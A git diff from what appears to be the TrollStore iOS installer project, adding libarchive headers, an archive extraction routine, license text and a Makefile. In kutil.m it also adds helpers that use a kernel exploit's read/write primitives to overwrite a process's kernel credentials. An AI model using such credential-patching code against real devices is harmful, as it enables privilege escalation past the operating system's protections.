+__LA_DECL int archive_entry_update_gname_utf8(struct archive_entry *, const char *); +__LA_DECL void archive_entry_set_hardlink(struct archive_entry *, const char *); +__LA_DECL void archive_entry_set_hardlink_utf8(struct archive_entry *, const char *); +__LA_DECL void archive_entry_copy_hardlink(struct archive_entry *, const char *); +__LA_DECL void archive_entry_copy_hardlink_w(struct archive_entry *, const wchar_t *); +__LA_DECL int archive_entry_update_hardlink_utf8(struct archive_entry *, const char *); +__LA_DECL void archive_entry_set_ino(struct archive_entry *, la_int64_t); +__LA_DECL void archive_entry_set_ino64(struct archive_entry *, la_int64_t); +__LA_DECL void archive_entry_set_link(struct archive_entry *, const char *); +__LA_DECL void archive_entry_set_link_utf8(struct archive_entry *, const char *); +__LA_DECL void archive_entry_copy_link(struct archive_entry *, const char *); +__LA_DECL void archive_entry_copy_link_w(struct archive_entry *, const wchar_t *); +__LA_DECL int archive_entry_update_link_utf8(struct archive_entry *, const char *); +__LA_DECL void archive_entry_set_mode(struct archive_entry *, __LA_MODE_T); +__LA_DECL void archive_entry_set_mtime(struct archive_entry *, time_t, long); +__LA_DECL void archive_entry_unset_mtime(struct archive_entry *); +__LA_DECL void archive_entry_set_nlink(struct archive_entry *, unsigned int); +__LA_DECL void archive_entry_set_pathname(struct archive_entry *, const char *); +__LA_DECL void archive_entry_set_pathname_utf8(struct archive_entry *, const char *); +__LA_DECL void archive_entry_copy_pathname(struct archive_entry *, const char *); +__LA_DECL void archive_entry_copy_pathname_w(struct archive_entry *, const wchar_t *); +__LA_DECL int archive_entry_update_pathname_utf8(struct archive_entry *, const char *); +__LA_DECL void archive_entry_set_perm(struct archive_entry *, __LA_MODE_T); +__LA_DECL void archive_entry_set_rdev(struct archive_entry *, dev_t); +__LA_DECL void archive_entry_set_rdevmajor(struct archive_entry *, dev_t); +__LA_DECL void archive_entry_set_rdevminor(struct archive_entry *, dev_t); +__LA_DECL void archive_entry_set_size(struct archive_entry *, la_int64_t); +__LA_DECL void archive_entry_unset_size(struct archive_entry *); +__LA_DECL void archive_entry_copy_sourcepath(struct archive_entry *, const char *); +__LA_DECL void archive_entry_copy_sourcepath_w(struct archive_entry *, const wchar_t *); +__LA_DECL void archive_entry_set_symlink(struct archive_entry *, const char *); +__LA_DECL void archive_entry_set_symlink_type(struct archive_entry *, int); +__LA_DECL void archive_entry_set_symlink_utf8(struct archive_entry *, const char *); +__LA_DECL void archive_entry_copy_symlink(struct archive_entry *, const char *); +__LA_DECL void archive_entry_copy_symlink_w(struct archive_entry *, const wchar_t *); +__LA_DECL int archive_entry_update_symlink_utf8(struct archive_entry *, const char *); +__LA_DECL void archive_entry_set_uid(struct archive_entry *, la_int64_t); +__LA_DECL void archive_entry_set_uname(struct archive_entry *, const char *); +__LA_DECL void archive_entry_set_uname_utf8(struct archive_entry *, const char *); +__LA_DECL void archive_entry_copy_uname(struct archive_entry *, const char *); +__LA_DECL void archive_entry_copy_uname_w(struct archive_entry *, const wchar_t *); +__LA_DECL int archive_entry_update_uname_utf8(struct archive_entry *, const char *); +__LA_DECL void archive_entry_set_is_data_encrypted(struct archive_entry *, char is_encrypted); +__LA_DECL void archive_entry_set_is_metadata_encrypted(struct archive_entry *, char is_encrypted); +/* + * Routines to bulk copy fields to/from a platform-native "struct + * stat." Libarchive used to just store a struct stat inside of each + * archive_entry object, but this created issues when trying to + * manipulate archives on systems different than the ones they were + * created on. + * + * TODO: On Linux and other LFS systems, provide both stat32 and + * stat64 versions of these functions and all of the macro glue so + * that archive_entry_stat is magically defined to + * archive_entry_stat32 or archive_entry_stat64 as appropriate. + */ +__LA_DECL const struct stat *archive_entry_stat(struct archive_entry *); +__LA_DECL void archive_entry_copy_stat(struct archive_entry *, const struct stat *); + +/* + * Storage for Mac OS-specific AppleDouble metadata information. + * Apple-format tar files store a separate binary blob containing + * encoded metadata with ACL, extended attributes, etc. + * This provides a place to store that blob. + */ + +__LA_DECL const void * archive_entry_mac_metadata(struct archive_entry *, size_t *); +__LA_DECL void archive_entry_copy_mac_metadata(struct archive_entry *, const void *, size_t); + +/* + * Digest routine. This is used to query the raw hex digest for the + * given entry. The type of digest is provided as an argument. + */ +#define ARCHIVE_ENTRY_DIGEST_MD5 0x00000001 +#define ARCHIVE_ENTRY_DIGEST_RMD160 0x00000002 +#define ARCHIVE_ENTRY_DIGEST_SHA1 0x00000003 +#define ARCHIVE_ENTRY_DIGEST_SHA256 0x00000004 +#define ARCHIVE_ENTRY_DIGEST_SHA384 0x00000005 +#define ARCHIVE_ENTRY_DIGEST_SHA512 0x00000006 + +__LA_DECL const unsigned char * archive_entry_digest(struct archive_entry *, int /* type */); + +/* + * ACL routines. This used to simply store and return text-format ACL + * strings, but that proved insufficient for a number of reasons: + * = clients need control over uname/uid and gname/gid mappings + * = there are many different ACL text formats + * = would like to be able to read/convert archives containing ACLs + * on platforms that lack ACL libraries + * + * This last point, in particular, forces me to implement a reasonably + * complete set of ACL support routines. + */ + +/* + * Permission bits. + */ +#define ARCHIVE_ENTRY_ACL_EXECUTE 0x00000001 +#define ARCHIVE_ENTRY_ACL_WRITE 0x00000002 +#define ARCHIVE_ENTRY_ACL_READ 0x00000004 +#define ARCHIVE_ENTRY_ACL_READ_DATA 0x00000008 +#define ARCHIVE_ENTRY_ACL_LIST_DIRECTORY 0x00000008 +#define ARCHIVE_ENTRY_ACL_WRITE_DATA 0x00000010 +#define ARCHIVE_ENTRY_ACL_ADD_FILE 0x00000010 +#define ARCHIVE_ENTRY_ACL_APPEND_DATA 0x00000020 +#define ARCHIVE_ENTRY_ACL_ADD_SUBDIRECTORY 0x00000020 +#define ARCHIVE_ENTRY_ACL_READ_NAMED_ATTRS 0x00000040 +#define ARCHIVE_ENTRY_ACL_WRITE_NAMED_ATTRS 0x00000080 +#define ARCHIVE_ENTRY_ACL_DELETE_CHILD 0x00000100 +#define ARCHIVE_ENTRY_ACL_READ_ATTRIBUTES 0x00000200 +#define ARCHIVE_ENTRY_ACL_WRITE_ATTRIBUTES 0x00000400 +#define ARCHIVE_ENTRY_ACL_DELETE 0x00000800 +#define ARCHIVE_ENTRY_ACL_READ_ACL 0x00001000 +#define ARCHIVE_ENTRY_ACL_WRITE_ACL 0x00002000 +#define ARCHIVE_ENTRY_ACL_WRITE_OWNER 0x00004000 +#define ARCHIVE_ENTRY_ACL_SYNCHRONIZE 0x00008000 + +#define ARCHIVE_ENTRY_ACL_PERMS_POSIX1E \ + (ARCHIVE_ENTRY_ACL_EXECUTE \ + | ARCHIVE_ENTRY_ACL_WRITE \ + | ARCHIVE_ENTRY_ACL_READ) + +#define ARCHIVE_ENTRY_ACL_PERMS_NFS4 \ + (ARCHIVE_ENTRY_ACL_EXECUTE \ + | ARCHIVE_ENTRY_ACL_READ_DATA \ + | ARCHIVE_ENTRY_ACL_LIST_DIRECTORY \ + | ARCHIVE_ENTRY_ACL_WRITE_DATA \ + | ARCHIVE_ENTRY_ACL_ADD_FILE \ + | ARCHIVE_ENTRY_ACL_APPEND_DATA \ + | ARCHIVE_ENTRY_ACL_ADD_SUBDIRECTORY \ + | ARCHIVE_ENTRY_ACL_READ_NAMED_ATTRS \ + | ARCHIVE_ENTRY_ACL_WRITE_NAMED_ATTRS \ + | ARCHIVE_ENTRY_ACL_DELETE_CHILD \ + | ARCHIVE_ENTRY_ACL_READ_ATTRIBUTES \ + | ARCHIVE_ENTRY_ACL_WRITE_ATTRIBUTES \ + | ARCHIVE_ENTRY_ACL_DELETE \ + | ARCHIVE_ENTRY_ACL_READ_ACL \ + | ARCHIVE_ENTRY_ACL_WRITE_ACL \ + | ARCHIVE_ENTRY_ACL_WRITE_OWNER \ + | ARCHIVE_ENTRY_ACL_SYNCHRONIZE) + +/* + * Inheritance values (NFS4 ACLs only); included in permset. + */ +#define ARCHIVE_ENTRY_ACL_ENTRY_INHERITED 0x01000000 +#define ARCHIVE_ENTRY_ACL_ENTRY_FILE_INHERIT 0x02000000 +#define ARCHIVE_ENTRY_ACL_ENTRY_DIRECTORY_INHERIT 0x04000000 +#define ARCHIVE_ENTRY_ACL_ENTRY_NO_PROPAGATE_INHERIT 0x08000000 +#define ARCHIVE_ENTRY_ACL_ENTRY_INHERIT_ONLY 0x10000000 +#define ARCHIVE_ENTRY_ACL_ENTRY_SUCCESSFUL_ACCESS 0x20000000 +#define ARCHIVE_ENTRY_ACL_ENTRY_FAILED_ACCESS 0x40000000 + +#define ARCHIVE_ENTRY_ACL_INHERITANCE_NFS4 \ + (ARCHIVE_ENTRY_ACL_ENTRY_FILE_INHERIT \ + | ARCHIVE_ENTRY_ACL_ENTRY_DIRECTORY_INHERIT \ + | ARCHIVE_ENTRY_ACL_ENTRY_NO_PROPAGATE_INHERIT \ + | ARCHIVE_ENTRY_ACL_ENTRY_INHERIT_ONLY \ + | ARCHIVE_ENTRY_ACL_ENTRY_SUCCESSFUL_ACCESS \ + | ARCHIVE_ENTRY_ACL_ENTRY_FAILED_ACCESS \ + | ARCHIVE_ENTRY_ACL_ENTRY_INHERITED) + +/* We need to be able to specify combinations of these. */ +#define ARCHIVE_ENTRY_ACL_TYPE_ACCESS 0x00000100 /* POSIX.1e only */ +#define ARCHIVE_ENTRY_ACL_TYPE_DEFAULT 0x00000200 /* POSIX.1e only */ +#define ARCHIVE_ENTRY_ACL_TYPE_ALLOW 0x00000400 /* NFS4 only */ +#define ARCHIVE_ENTRY_ACL_TYPE_DENY 0x00000800 /* NFS4 only */ +#define ARCHIVE_ENTRY_ACL_TYPE_AUDIT 0x00001000 /* NFS4 only */ +#define ARCHIVE_ENTRY_ACL_TYPE_ALARM 0x00002000 /* NFS4 only */ +#define ARCHIVE_ENTRY_ACL_TYPE_POSIX1E (ARCHIVE_ENTRY_ACL_TYPE_ACCESS \ + | ARCHIVE_ENTRY_ACL_TYPE_DEFAULT) +#define ARCHIVE_ENTRY_ACL_TYPE_NFS4 (ARCHIVE_ENTRY_ACL_TYPE_ALLOW \ + | ARCHIVE_ENTRY_ACL_TYPE_DENY \ + | ARCHIVE_ENTRY_ACL_TYPE_AUDIT \ + | ARCHIVE_ENTRY_ACL_TYPE_ALARM) + +/* Tag values mimic POSIX.1e */ +#define ARCHIVE_ENTRY_ACL_USER 10001 /* Specified user. */ +#define ARCHIVE_ENTRY_ACL_USER_OBJ 10002 /* User who owns the file. */ +#define ARCHIVE_ENTRY_ACL_GROUP 10003 /* Specified group. */ +#define ARCHIVE_ENTRY_ACL_GROUP_OBJ 10004 /* Group who owns the file. */ +#define ARCHIVE_ENTRY_ACL_MASK 10005 /* Modify group access (POSIX.1e only) */ +#define ARCHIVE_ENTRY_ACL_OTHER 10006 /* Public (POSIX.1e only) */ +#define ARCHIVE_ENTRY_ACL_EVERYONE 10107 /* Everyone (NFS4 only) */ + +/* + * Set the ACL by clearing it and adding entries one at a time. + * Unlike the POSIX.1e ACL routines, you must specify the type + * (access/default) for each entry. Internally, the ACL data is just + * a soup of entries. API calls here allow you to retrieve just the + * entries of interest. This design (which goes against the spirit of + * POSIX.1e) is useful for handling archive formats that combine + * default and access information in a single ACL list. + */ +__LA_DECL void archive_entry_acl_clear(struct archive_entry *); +__LA_DECL int archive_entry_acl_add_entry(struct archive_entry *, + int /* type */, int /* permset */, int /* tag */, + int /* qual */, const char * /* name */); +__LA_DECL int archive_entry_acl_add_entry_w(struct archive_entry *, + int /* type */, int /* permset */, int /* tag */, + int /* qual */, const wchar_t * /* name */); + +/* + * To retrieve the ACL, first "reset", then repeatedly ask for the + * "next" entry. The want_type parameter allows you to request only + * certain types of entries. + */ +__LA_DECL int archive_entry_acl_reset(struct archive_entry *, int /* want_type */); +__LA_DECL int archive_entry_acl_next(struct archive_entry *, int /* want_type */, + int * /* type */, int * /* permset */, int * /* tag */, + int * /* qual */, const char ** /* name */); + +/* + * Construct a text-format ACL. The flags argument is a bitmask that + * can include any of the following: + * + * Flags only for archive entries with POSIX.1e ACL: + * ARCHIVE_ENTRY_ACL_TYPE_ACCESS - Include POSIX.1e "access" entries. + * ARCHIVE_ENTRY_ACL_TYPE_DEFAULT - Include POSIX.1e "default" entries. + * ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT - Include "default:" before each + * default ACL entry. + * ARCHIVE_ENTRY_ACL_STYLE_SOLARIS - Output only one colon after "other" and + * "mask" entries. + * + * Flags only for archive entries with NFSv4 ACL: + * ARCHIVE_ENTRY_ACL_STYLE_COMPACT - Do not output the minus character for + * unset permissions and flags in NFSv4 ACL permission and flag fields + * + * Flags for for archive entries with POSIX.1e ACL or NFSv4 ACL: + * ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID - Include extra numeric ID field in + * each ACL entry. + * ARCHIVE_ENTRY_ACL_STYLE_SEPARATOR_COMMA - Separate entries with comma + * instead of newline. + */ +#define ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 0x00000001 +#define ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 0x00000002 +#define ARCHIVE_ENTRY_ACL_STYLE_SOLARIS 0x00000004 +#define ARCHIVE_ENTRY_ACL_STYLE_SEPARATOR_COMMA 0x00000008 +#define ARCHIVE_ENTRY_ACL_STYLE_COMPACT 0x00000010 + +__LA_DECL wchar_t *archive_entry_acl_to_text_w(struct archive_entry *, + la_ssize_t * /* len */, int /* flags */); +__LA_DECL char *archive_entry_acl_to_text(struct archive_entry *, + la_ssize_t * /* len */, int /* flags */); +__LA_DECL int archive_entry_acl_from_text_w(struct archive_entry *, + const wchar_t * /* wtext */, int /* type */); +__LA_DECL int archive_entry_acl_from_text(struct archive_entry *, + const char * /* text */, int /* type */); + +/* Deprecated constants */ +#define OLD_ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 1024 +#define OLD_ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 2048 + +/* Deprecated functions */ +__LA_DECL const wchar_t *archive_entry_acl_text_w(struct archive_entry *, + int /* flags */) __LA_DEPRECATED; +__LA_DECL const char *archive_entry_acl_text(struct archive_entry *, + int /* flags */) __LA_DEPRECATED; + +/* Return bitmask of ACL types in an archive entry */ +__LA_DECL int archive_entry_acl_types(struct archive_entry *); + +/* Return a count of entries matching 'want_type' */ +__LA_DECL int archive_entry_acl_count(struct archive_entry *, int /* want_type */); + +/* Return an opaque ACL object. */ +/* There's not yet anything clients can actually do with this... */ +struct archive_acl; +__LA_DECL struct archive_acl *archive_entry_acl(struct archive_entry *); + +/* + * extended attributes + */ + +__LA_DECL void archive_entry_xattr_clear(struct archive_entry *); +__LA_DECL void archive_entry_xattr_add_entry(struct archive_entry *, + const char * /* name */, const void * /* value */, + size_t /* size */); + +/* + * To retrieve the xattr list, first "reset", then repeatedly ask for the + * "next" entry. + */ + +__LA_DECL int archive_entry_xattr_count(struct archive_entry *); +__LA_DECL int archive_entry_xattr_reset(struct archive_entry *); +__LA_DECL int archive_entry_xattr_next(struct archive_entry *, + const char ** /* name */, const void ** /* value */, size_t *); + +/* + * sparse + */ + +__LA_DECL void archive_entry_sparse_clear(struct archive_entry *); +__LA_DECL void archive_entry_sparse_add_entry(struct archive_entry *, + la_int64_t /* offset */, la_int64_t /* length */); + +/* + * To retrieve the xattr list, first "reset", then repeatedly ask for the + * "next" entry. + */ + +__LA_DECL int archive_entry_sparse_count(struct archive_entry *); +__LA_DECL int archive_entry_sparse_reset(struct archive_entry *); +__LA_DECL int archive_entry_sparse_next(struct archive_entry *, + la_int64_t * /* offset */, la_int64_t * /* length */); + +/* + * Utility to match up hardlinks. + * + * The 'struct archive_entry_linkresolver' is a cache of archive entries + * for files with multiple links. Here's how to use it: + * 1. Create a lookup object with archive_entry_linkresolver_new() + * 2. Tell it the archive format you're using. + * 3. Hand each archive_entry to archive_entry_linkify(). + * That function will return 0, 1, or 2 entries that should + * be written. + * 4. Call archive_entry_linkify(resolver, NULL) until + * no more entries are returned. + * 5. Call archive_entry_linkresolver_free(resolver) to free resources. + * + * The entries returned have their hardlink and size fields updated + * appropriately. If an entry is passed in that does not refer to + * a file with multiple links, it is returned unchanged. The intention + * is that you should be able to simply filter all entries through + * this machine. + * + * To make things more efficient, be sure that each entry has a valid + * nlinks value. The hardlink cache uses this to track when all links + * have been found. If the nlinks value is zero, it will keep every + * name in the cache indefinitely, which can use a lot of memory. + * + * Note that archive_entry_size() is reset to zero if the file + * body should not be written to the archive. Pay attention! + */ +struct archive_entry_linkresolver; + +/* + * There are three different strategies for marking hardlinks. + * The descriptions below name them after the best-known + * formats that rely on each strategy: + * + * "Old cpio" is the simplest, it always returns any entry unmodified. + * As far as I know, only cpio formats use this. Old cpio archives + * store every link with the full body; the onus is on the dearchiver + * to detect and properly link the files as they are restored. + * "tar" is also pretty simple; it caches a copy the first time it sees + * any link. Subsequent appearances are modified to be hardlink + * references to the first one without any body. Used by all tar + * formats, although the newest tar formats permit the "old cpio" strategy + * as well. This strategy is very simple for the dearchiver, + * and reasonably straightforward for the archiver. + * "new cpio" is trickier. It stores the body only with the last + * occurrence. The complication is that we might not + * see every link to a particular file in a single session, so + * there's no easy way to know when we've seen the last occurrence. + * The solution here is to queue one link until we see the next. + * At the end of the session, you can enumerate any remaining + * entries by calling archive_entry_linkify(NULL) and store those + * bodies. If you have a file with three links l1, l2, and l3, + * you'll get the following behavior if you see all three links: + * linkify(l1) => NULL (the resolver stores l1 internally) + * linkify(l2) => l1 (resolver stores l2, you write l1) + * linkify(l3) => l2, l3 (all links seen, you can write both). + * If you only see l1 and l2, you'll get this behavior: + * linkify(l1) => NULL + * linkify(l2) => l1 + * linkify(NULL) => l2 (at end, you retrieve remaining links) + * As the name suggests, this strategy is used by newer cpio variants. + * It's noticeably more complex for the archiver, slightly more complex + * for the dearchiver than the tar strategy, but makes it straightforward + * to restore a file using any link by simply continuing to scan until + * you see a link that is stored with a body. In contrast, the tar + * strategy requires you to rescan the archive from the beginning to + * correctly extract an arbitrary link. + */ + +__LA_DECL struct archive_entry_linkresolver *archive_entry_linkresolver_new(void); +__LA_DECL void archive_entry_linkresolver_set_strategy( + struct archive_entry_linkresolver *, int /* format_code */); +__LA_DECL void archive_entry_linkresolver_free(struct archive_entry_linkresolver *); +__LA_DECL void archive_entry_linkify(struct archive_entry_linkresolver *, + struct archive_entry **, struct archive_entry **); +__LA_DECL struct archive_entry *archive_entry_partial_links( + struct archive_entry_linkresolver *res, unsigned int *links); +#ifdef __cplusplus +} +#endif + +/* This is meaningless outside of this header. */ +#undef __LA_DECL + +#endif /* !ARCHIVE_ENTRY_H_INCLUDED */ diff --git a/Installer/TrollInstaller/TrollInstaller/kutil.h b/Installer/TrollInstaller/TrollInstaller/kutil.h new file mode 100644 index 0000000..32265e4 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/kutil.h @@ -0,0 +1,53 @@ +// +// proc.h +// fun15 +// +// Created by Lars Fröder on 11.06.22. +// + +#ifndef proc_h +#define proc_h + +#import + +#if defined(__cplusplus) +extern "C" { +#endif + +struct k_posix_cred { // (96 bytes) + uid_t cr_uid; // off=0x0 + uid_t cr_ruid; // off=0x20 + uid_t cr_svuid; // off=0x40 + u_short cr_ngroups; // off=0x60 + u_short __cr_padding; // off=0x70 + gid_t cr_groups[16]; // off=0x80 + gid_t cr_rgid; // off=0x280 + gid_t cr_svgid; // off=0x2a0 + uid_t cr_gmuid; // off=0x2c0 + int cr_flags; // off=0x2e0 +}; + +struct k_label { // (64 bytes) + int l_flags; // off=0x0 + int l_perpolicy[7]; // off=0x40 +}; + +struct k_ucred { // (144 bytes) + struct { // (16 bytes) + struct k_ucred * le_next; // off=0x0 + struct k_ucred * * le_prev; // off=0x40 +} cr_link; // off=0x0 + u_long cr_ref; // off=0x80 + struct k_posix_cred cr_posix; // off=0xc0 + struct k_label cr_label; // off=0x3c0 + struct au_session cr_audit; // off=0x400 +}; + +extern void proc_set_posix_cred(uint64_t proc, struct k_posix_cred posix_cred); +extern struct k_posix_cred proc_get_posix_cred(uint64_t proc); + +#if defined(__cplusplus) +} +#endif + +#endif /* proc_h */ diff --git a/Installer/TrollInstaller/TrollInstaller/kutil.m b/Installer/TrollInstaller/TrollInstaller/kutil.m new file mode 100644 index 0000000..6a5bb30 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/kutil.m @@ -0,0 +1,31 @@ +// +// proc.m +// fun15 +// +// Created by Lars Fröder on 11.06.22. +// + +#import "kutil.h" + +#import + +#import "KernelManager.h" +#import "exploit/xpaci.h" + +struct k_posix_cred proc_get_posix_cred(uint64_t proc) +{ + struct k_posix_cred pcred = {0}; + KernelManager* km = [KernelManager sharedInstance]; + uint64_t ucred = xpaci([km read64BitValueAtAddress:proc + km.struct_offsets.proc.ucred_offset]); + uint64_t posix_cred_kptr = ucred + km.struct_offsets.ucred.posix_offset; + [km readBufferAtAddress:posix_cred_kptr intoBuffer:&pcred withLength:sizeof(struct k_posix_cred)]; + return pcred; +} + +void proc_set_posix_cred(uint64_t proc, struct k_posix_cred posix_cred) +{ + KernelManager* km = [KernelManager sharedInstance]; + uint64_t ucred = xpaci([km read64BitValueAtAddress:proc + km.struct_offsets.proc.ucred_offset]); + uint64_t posix_cred_kptr = ucred + km.struct_offsets.ucred.posix_offset; + [km writeBuffer:&posix_cred withLength:sizeof(struct k_posix_cred) toAddress:posix_cred_kptr]; +} diff --git a/Installer/TrollInstaller/TrollInstaller/main.m b/Installer/TrollInstaller/TrollInstaller/main.m new file mode 100644 index 0000000..eeee867 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/main.m @@ -0,0 +1,18 @@ +// +// main.m +// TrollInstaller +// +// Created by Lars Fröder on 17.08.22. +// + +#import +#import "AppDelegate.h" + +int main(int argc, char * argv[]) { + NSString * appDelegateClassName; + @autoreleasepool { + // Setup code that might create autoreleased objects goes here. + appDelegateClassName = NSStringFromClass([AppDelegate class]); + } + return UIApplicationMain(argc, argv, nil, appDelegateClassName); +} diff --git a/Installer/TrollInstaller/TrollInstaller/unarchive.h b/Installer/TrollInstaller/TrollInstaller/unarchive.h new file mode 100644 index 0000000..7f260f4 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/unarchive.h @@ -0,0 +1,15 @@ +// +// unarchive.h +// TrollInstaller +// +// Created by Lars Fröder on 02.09.22. +// + +#ifndef unarchive_h +#define unarchive_h + +@import Foundation; + +extern int extract(NSString* fileToExtract, NSString* extractionPath); + +#endif /* unarchive_h */ diff --git a/Installer/TrollInstaller/TrollInstaller/unarchive.m b/Installer/TrollInstaller/TrollInstaller/unarchive.m new file mode 100644 index 0000000..784d8db --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/unarchive.m @@ -0,0 +1,94 @@ +// +// unarchive.m +// TrollInstaller +// +// Created by Lars Fröder on 02.09.22. +// + +#import "unarchive.h" + +#include "headers/archive.h" +#include "headers/archive_entry.h" + +static int +copy_data(struct archive *ar, struct archive *aw) +{ + int r; + const void *buff; + size_t size; + la_int64_t offset; + + for (;;) { + r = archive_read_data_block(ar, &buff, &size, &offset); + if (r == ARCHIVE_EOF) + return (ARCHIVE_OK); + if (r < ARCHIVE_OK) + return (r); + r = archive_write_data_block(aw, buff, size, offset); + if (r < ARCHIVE_OK) { + fprintf(stderr, "%s\n", archive_error_string(aw)); + return (r); + } + } +} + +int extract(NSString* fileToExtract, NSString* extractionPath) +{ + struct archive *a; + struct archive *ext; + struct archive_entry *entry; + int flags; + int r; + + /* Select which attributes we want to restore. */ + flags = ARCHIVE_EXTRACT_TIME; + flags |= ARCHIVE_EXTRACT_PERM; + flags |= ARCHIVE_EXTRACT_ACL; + flags |= ARCHIVE_EXTRACT_FFLAGS; + + a = archive_read_new(); + archive_read_support_format_all(a); + archive_read_support_filter_all(a); + ext = archive_write_disk_new(); + archive_write_disk_set_options(ext, flags); + archive_write_disk_set_standard_lookup(ext); + if ((r = archive_read_open_filename(a, fileToExtract.UTF8String, 10240))) + return 1; + for (;;) + { + r = archive_read_next_header(a, &entry); + if (r == ARCHIVE_EOF) + break; + if (r < ARCHIVE_OK) + fprintf(stderr, "%s\n", archive_error_string(a)); + if (r < ARCHIVE_WARN) + return 1; + + NSString* currentFile = [NSString stringWithUTF8String:archive_entry_pathname(entry)]; + NSString* fullOutputPath = [extractionPath stringByAppendingPathComponent:currentFile]; + //printf("extracting %s to %s\n", currentFile.UTF8String, fullOutputPath.UTF8String); + archive_entry_set_pathname(entry, fullOutputPath.UTF8String); + + r = archive_write_header(ext, entry); + if (r < ARCHIVE_OK) + fprintf(stderr, "%s\n", archive_error_string(ext)); + else if (archive_entry_size(entry) > 0) { + r = copy_data(a, ext); + if (r < ARCHIVE_OK) + fprintf(stderr, "%s\n", archive_error_string(ext)); + if (r < ARCHIVE_WARN) + return 1; + } + r = archive_write_finish_entry(ext); + if (r < ARCHIVE_OK) + fprintf(stderr, "%s\n", archive_error_string(ext)); + if (r < ARCHIVE_WARN) + return 1; + } + archive_read_close(a); + archive_read_free(a); + archive_write_close(ext); + archive_write_free(ext); + + return 0; +} diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..13a4c0d --- /dev/null +++ b/LICENSE @@ -0,0 +1,64 @@ +Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ +Upstream-Name: TrollStore +Upstream-Contact: opa334 +Source: https://github.com/opa334/TrollStore + +Files: * +Copyright: 2022 Lars Fröder +License: MIT + +Files: Helper/uicache.m +Copyright: Copyright (c) 2019 CoolStar, + Modified work Copyright (c) 2020-2022 Procursus Team +License: BSD-4-Clause + +Files: Installer/TrollInstaller/exploit +Copyright: Copyright (c) 2022 John Åkerblom, +License: All rights reserved + +License: BSD-4-Clause + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + 3. All advertising materials mentioning features or use of this software + must display the following acknowledgement: + This product includes software developed by CoolStar. + 4. Neither the name of the copyright holder nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + . + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE HOLDERS OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +License: MIT + Permission is hereby granted, free of charge, to any person obtaining a + copy of this software and associated documentation files (the "Software"), + to deal in the Software without restriction, including without limitation + the rights to use, copy, modify, merge, publish, distribute, sublicense, + and/or sell copies of the Software, and to permit persons to whom the + Software is furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included + in all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS + OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR + OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, + ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR + OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/PersistenceHelper/Makefile b/PersistenceHelper/Makefile new file mode 100644 index 0000000..baa9eb2 --- /dev/null +++ b/PersistenceHelper/Makefile @@ -0,0 +1,17 @@ +TARGET := iphone:clang:14.5:14.0 +INSTALL_TARGET_PROCESSES = TrollStorePersistenceHelper + +include $(THEOS)/makefiles/common.mk + +APPLICATION_NAME = TrollStorePersistenceHelper + +TrollStorePersistenceHelper_FILES = $(wildcard *.m) ../Helper/Shared.m ../Store/TSUtil.m +TrollStorePersistenceHelper_FRAMEWORKS = UIKit CoreGraphics CoreServices +TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS = Preferences +TrollStorePersistenceHelper_CFLAGS = -fobjc-arc +TrollStorePersistenceHelper_CODESIGN_FLAGS = -Sentitlements.plist + +include $(THEOS_MAKE_PATH)/application.mk + +internal-stage:: + ldid -S -M -K../_compile/cert.p12 $(THEOS_STAGING_DIR)/Applications/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper \ No newline at end of file diff --git a/PersistenceHelper/Resources/AppIcon29x29.png b/PersistenceHelper/Resources/AppIcon29x29.png new file mode 100644 index 0000000000000000000000000000000000000000..34569446dba886698d3d6d62e465b08caf11e5aa GIT binary patch literal 2851 zcmbu7cT|&U7REme5CN4g0RmYSEHov86r+(Ys31sDU|_(dN()kg1~N(@AObs-AV?Vq zB_xK>VnGE{K&8lFfCw@`f(n9;`9LsgB#S$HX3yEb_UzpE+&|v)-us;Ud)_O3A)N(O z+?-vV0T~$pkl8qZ^d;c1ar0jiq;JwOj4qY7+Nm4T?rNVx!FV@|n0 